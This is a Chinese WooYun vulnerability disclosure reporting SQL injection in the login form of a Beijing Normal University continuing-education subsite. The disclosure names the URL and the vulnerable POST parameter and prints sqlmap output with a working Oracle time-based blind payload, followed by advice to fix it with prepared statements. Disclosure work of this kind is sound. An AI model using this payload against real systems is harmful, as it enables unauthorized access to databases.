当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076363

漏洞标题:北京师范大学继续教育学院某分站存在sql注入

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2014-09-18 10:21

修复时间:2014-11-02 10:22

公开时间:2014-11-02 10:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-18: 细节已通知厂商并且等待厂商处理中
2014-09-23: 厂商已经确认,细节仅向厂商公开
2014-10-03: 细节向核心白帽子及相关领域专家公开
2014-10-13: 细节向普通白帽子公开
2014-10-23: 细节向实习白帽子公开
2014-11-02: 细节向公众公开

简要描述:

登陆地方存在sql注入
http://www.bnude.cn/elms/bnude/homepage/first.jsp
登陆地方 存在 sql 注入

详细说明:

首页登陆地方存在sql注入 post提交数存在注入
注入类型为 AND/OR time-based blind

漏洞证明:

QQ截图20140916201932.png


sqlmap/1.0-dev-b31e141 - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 14:20:40
[14:20:40] [INFO] resuming back-end DBMS 'oracle'
[14:20:40] [INFO] testing connection to the target URL
[14:20:40] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: name
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: name=1111' AND 1416=DBMS_PIPE.RECEIVE_MESSAGE(CHR(88)||CHR(85)||CHR(83)||CHR(100),5) AND 'TAJN'='TAJN&passwd=1211111
---
[14:20:40] [INFO] testing Oracle
[14:20:40] [INFO] confirming Oracle
[14:20:40] [INFO] the back-end DBMS is Oracle
[14:20:40] [INFO] fetching banner
[14:20:40] [INFO] resumed: Oracle Database 10g
[14:20:40] [INFO] actively fingerprinting Oracle
web application technology: Servlet 2.4, Apache, JSP
back-end DBMS: active fingerprint: Oracle 11i
banner: 'Oracle Database 10g'
[14:20:40] [INFO] fetched data logged to text files under 'C:\Users\xcrossed\.sqlmap\output\www.bnude.cn'
[*] shutting down at 14:20:40

修复方案:

将提交内容参数化,查询时 设置参数的地方用 preparedstatement 来设置参数 ,避免自己拼接字符串

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2014-09-23 08:13

厂商回复:

最新状态:

暂无